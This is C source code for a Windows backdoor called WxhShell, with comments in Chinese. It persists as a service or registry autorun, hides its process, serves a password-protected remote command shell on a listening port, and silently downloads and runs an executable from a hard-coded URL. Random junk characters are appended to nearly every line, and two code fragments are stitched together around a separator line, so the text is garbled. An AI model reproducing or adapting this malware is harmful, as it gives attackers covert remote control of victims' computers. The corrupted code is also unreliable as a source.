ULONG UniqueProcessId; L<[,7V
ULONG InheritedFromUniqueProcessId; [)b/uR
} PROCESS_BASIC_INFORMATION; [T$$od[.
o
m{n"cg
PROCNTQSIP NtQueryInformationProcess; 0ER6cTo-t
7|{%CckN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ByB0>G''.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1xFhhncf
P:zEx]Y%
HANDLE hProcess; o'= [<
PROCESS_BASIC_INFORMATION pbi; 2vW,.]95M
e+]YCp[(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ey9fbS ^I
if(NULL == hInst ) return 0; !0d9<SVC
he#Tr'j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OTy4"%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {
V=:O
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *;\
K5
?(`nBlWQ5
if (!NtQueryInformationProcess) return 0; _If@#WnoyA
]R2Z -2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n
WO~v{h3J
if(!hProcess) return 0; cwDD(j
eBLHT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <O`q3u'l
'%JMnU
CloseHandle(hProcess); RmCn&-i
5. +$v4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +Fkx")
if(hProcess==NULL) return 0; OFPd6,(E
x.yb4i=Jq
HMODULE hMod; Z"+rg9/p
char procName[255]; .DV#-tUh
unsigned long cbNeeded; >Y*iy
'Rar>oU
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QdG?"Bdt2
PauFuzPP
CloseHandle(hProcess); c,u$tnE)
.q;RNCUt
if(strstr(procName,"services")) return 1; // 以服务启动 XN 0RT>@
802]M
return 0; // 注册表启动 =f{Z~`3
} H 29 _ /
?M1 QJ
// 主模块 4HYH\ey
int StartWxhshell(LPSTR lpCmdLine) =tvm=
{ 1<Ztk;$A
SOCKET wsl; []]LyWk
BOOL val=TRUE; "> 4[+'
int port=0; `A}{
I}xq
struct sockaddr_in door; eJwii
:XZJx gx
if(wscfg.ws_autoins) Install(); KG./<"c
0"D?.E"$r
port=atoi(lpCmdLine); #ui%=ja[:~
`\/Wa h}I
if(port<=0) port=wscfg.ws_port; HN&vk/[
X|QX1dl
WSADATA data; w|U@jr*H]
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TJGKQyG$L
tX2>a
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CB7R{~
$
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^
8Nr %NJ
door.sin_family = AF_INET; k3htHCf*G$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); zj$Z%|@$
door.sin_port = htons(port); a0v1LT6
_ER
cmP
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0aq-drl5\
closesocket(wsl); `S!uj <-
return 1; %L=h}U13
} #$
raUNr
4dD@lG~
if(listen(wsl,2) == INVALID_SOCKET) { CEJG=*3
closesocket(wsl); y`P7LC
return 1; $AJy^`E^
} I]S(tx!
Wxhshell(wsl); looPO:bo^
WSACleanup(); t6U+a\-<
98%a)s)(a
return 0; Q,LWZw~"
'&L
} [>QsMUvak
cF>;f(X
// 以NT服务方式启动 &G5I0:a
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @eD~FNf-]
{ oFx gR9
DWORD status = 0; f\%X7.
DWORD specificError = 0xfffffff; =GS_ G;Dz
74!JPOpQH
serviceStatus.dwServiceType = SERVICE_WIN32; uX5B>32
serviceStatus.dwCurrentState = SERVICE_START_PENDING; uZ{xt6 f
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mjJlXA
serviceStatus.dwWin32ExitCode = 0; OsuSx^}
serviceStatus.dwServiceSpecificExitCode = 0; B 0fo[Ev
serviceStatus.dwCheckPoint = 0; ^ZZ@!Udy
serviceStatus.dwWaitHint = 0; C3`.-/{D"
K`mxb}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !"qEB2r
if (hServiceStatusHandle==0) return; gM/_:+bT>P
BqJrL/(
status = GetLastError(); zqEZ+|c=
if (status!=NO_ERROR) jI pcMN<
{ 6(;[ov1
serviceStatus.dwCurrentState = SERVICE_STOPPED; p<.!::* %(
serviceStatus.dwCheckPoint = 0; OaVL NA^{
serviceStatus.dwWaitHint = 0; kys-~&@+
serviceStatus.dwWin32ExitCode = status; 53#5p;k
serviceStatus.dwServiceSpecificExitCode = specificError; L?5t<`#lw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rEyMSLN
return; W2V@\
} ,DsT:8
y"n~ET}e7
serviceStatus.dwCurrentState = SERVICE_RUNNING; $7ME a"a
serviceStatus.dwCheckPoint = 0; %-zH]"Q$
serviceStatus.dwWaitHint = 0; ZXRN?b
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S %%qn
} Vf2!0
wZolg~dg
// 处理NT服务事件,比如:启动、停止 "PM:&v
VOID WINAPI NTServiceHandler(DWORD fdwControl) `>HthK
{ Wa<NId
switch(fdwControl) O4+w2'.,
{ Ki6BPi^
case SERVICE_CONTROL_STOP:
6}ewBAq%
serviceStatus.dwWin32ExitCode = 0; /IR5[67
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8&AorYw[
serviceStatus.dwCheckPoint = 0; 2+rao2
serviceStatus.dwWaitHint = 0; "alO"x8t
{ JQv
ZTwSI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xrs~ove1V
} ?9M+fi
return; B,qZwc|
case SERVICE_CONTROL_PAUSE: yD'h5)yu
serviceStatus.dwCurrentState = SERVICE_PAUSED; &~6O;}\
break; E&=?\KM
case SERVICE_CONTROL_CONTINUE: y")>"8H
serviceStatus.dwCurrentState = SERVICE_RUNNING; G&B}jj
break; X%qR6mMfT7
case SERVICE_CONTROL_INTERROGATE: x{w ?X.Nt
break; ph. :~n>z
}; $BN+SD!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (9QRg;
} ~w%+y
v\T1,Z@N^
// 标准应用程序主函数 \YyU5f7';
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %=>xzP(z
{ U-:Z^+Y
YS6az0ie
// 获取操作系统版本 MA QY/s~F
OsIsNt=GetOsVer(); DxG'/5jQ[
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y\F H4}\S
ijSYQ
// 从命令行安装 Y'":OW#oN
if(strpbrk(lpCmdLine,"iI")) Install(); <GlV!y
H`..)zL|
// 下载执行文件 ,l"2MXD
if(wscfg.ws_downexe) { %6?}gc_
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;qQzF
WinExec(wscfg.ws_filenam,SW_HIDE); D-EM
} f)fw87UPc
alD|-{Bf
if(!OsIsNt) { >}tG^ )os
// 如果时win9x,隐藏进程并且设置为注册表启动 m$j;FKz+|
HideProc(); ImW~Jy
StartWxhshell(lpCmdLine); UeTp,
} ?=Qg
else clV/i&]Qa
if(StartFromService()) %Q01EjRes
// 以服务方式启动 4IpFT; `q
StartServiceCtrlDispatcher(DispatchTable); ,)m-nZ5
else vUExS Z^
// 普通方式启动 O\{_)L
StartWxhshell(lpCmdLine); zL}DLfy>R
uU"s50m
return 0; 6!m#_z8qG3
} f2XD^:Gc
e;\c=J,eE
Wx`IEPsVbk
S'fq/`2g6
=========================================== B*Xh$R
D~);:}}>
!y0
O['7
b8Sl3F?-~
u>@G:kt8
%gB0D8,vo
" <\NXCUqDpo
=l{KYv
#include <stdio.h> xrd^vE
#include <string.h> "aH]4DO
#include <windows.h> p8bTR!rvz
#include <winsock2.h> TR7TF]itb
#include <winsvc.h> $l0w {m!P
#include <urlmon.h> EPfVS
,\"gN5[$(
#pragma comment (lib, "Ws2_32.lib") /d;l:
#pragma comment (lib, "urlmon.lib") =-Tetp
.v!e=i}.
#define MAX_USER 100 // 最大客户端连接数 z81!F'x;
#define BUF_SOCK 200 // sock buffer 3"RZiOyv
#define KEY_BUFF 255 // 输入 buffer G(e?]{(
g_=ZcGC
#define REBOOT 0 // 重启 <Z_`^~!
#define SHUTDOWN 1 // 关机 xJlq2cK
m#P&Yd4T
#define DEF_PORT 5000 // 监听端口 )`0 j\
kv2:rmv
#define REG_LEN 16 // 注册表键长度 H%V[%
T4=
#define SVC_LEN 80 // NT服务名长度 3iwZUqyq
7?@v}%w
// 从dll定义API b9jm=U
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 21Opx~T3
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Er`PYE
J
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C\K--
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nIT=/{oyi
P@ u%{
// wxhshell配置信息 r6<}S(
struct WSCFG { s:{%1 /
int ws_port; // 监听端口 ~CscctD{;
char ws_passstr[REG_LEN]; // 口令 fx5vaM!
int ws_autoins; // 安装标记, 1=yes 0=no 6OUjc
char ws_regname[REG_LEN]; // 注册表键名 $cedO']
char ws_svcname[REG_LEN]; // 服务名 6cvm\opH
char ws_svcdisp[SVC_LEN]; // 服务显示名 BGS6uV4^>
char ws_svcdesc[SVC_LEN]; // 服务描述信息 e)8iPu ..
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pe-d7Ou
P
int ws_downexe; // 下载执行标记, 1=yes 0=no lw{|~m5`
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7085&\9
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fAi113q!
d29HEu
}; P^ VNB
u ""=9>0
// default Wxhshell configuration QO%K`}Q}
struct WSCFG wscfg={DEF_PORT, h9mR+ng*oD
"xuhuanlingzhe", .N 2Yxty8>
1, 7+bzCDKU
"Wxhshell", kp|reKM/
"Wxhshell", 5;*C0m2%i
"WxhShell Service", k-/$8C
"Wrsky Windows CmdShell Service", uVocl,?.L
"Please Input Your Password: ", y{<7OTA)
1, &R]G)f#w%*
"http://www.wrsky.com/wxhshell.exe", g&
Rk}/F
"Wxhshell.exe" fi)ypv*
}; $Z4p$o
dk
+gkB
// 消息定义模块 g`1i[Iu2
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N C&1l]
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4$rO,W/&0
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =/;(qy9.-R
char *msg_ws_ext="\n\rExit."; Q\Eq(2p
char *msg_ws_end="\n\rQuit."; @{G(.S
char *msg_ws_boot="\n\rReboot..."; l;ugrAo?
char *msg_ws_poff="\n\rShutdown..."; V&